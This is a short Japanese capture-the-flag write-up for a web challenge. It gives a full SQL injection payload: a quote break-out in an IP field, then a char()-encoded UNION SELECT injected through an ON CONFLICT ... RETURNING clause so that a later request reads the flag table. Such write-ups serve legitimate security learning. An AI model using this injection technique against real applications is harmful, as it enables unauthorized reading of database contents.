既に様々な解法が共有されているので、まだ出ていなさそうな方法の紹介になります。
自分はIPアドレスに 1.1.1' を入れてシングルクォートから抜け出していました。
これのせいでデータベースに保存されるIPアドレスが 1.1.1', になってしまい、フラグを描画させる際のリクエストでInvalid IPになってしまいます。
そこで、idの方にクエリを仕込み、 GET / の方でSQLiをすることでフラグを取得しました。
ip: 1.1.1'
secret: , 0) ON CONFLICT(ip) DO UPDATE SET secret = excluded.secret RETURNING char(39,32,85,78,73,79,78,32,83,69,76,69,67,84,32,102,108,97,103,32,65,83,32,115,101,99,114,101,116,44,32,39,49,46,51,46,51,46,55,39,32,65,83,32,105,112,32,70,82,79,77,32,102,108,97,103,59,32,45,45) AS id; /*
文字コードになっている部分はデコードすると以下のクエリになります。
' UNION SELECT flag AS secret, '1.3.3.7' AS ip FROM flag; --
あとは 1.3.3.7 のIPアドレスでフラグを描画させるだけです。この時、発行されたsessionをクッキーに付けとくのを忘れずに。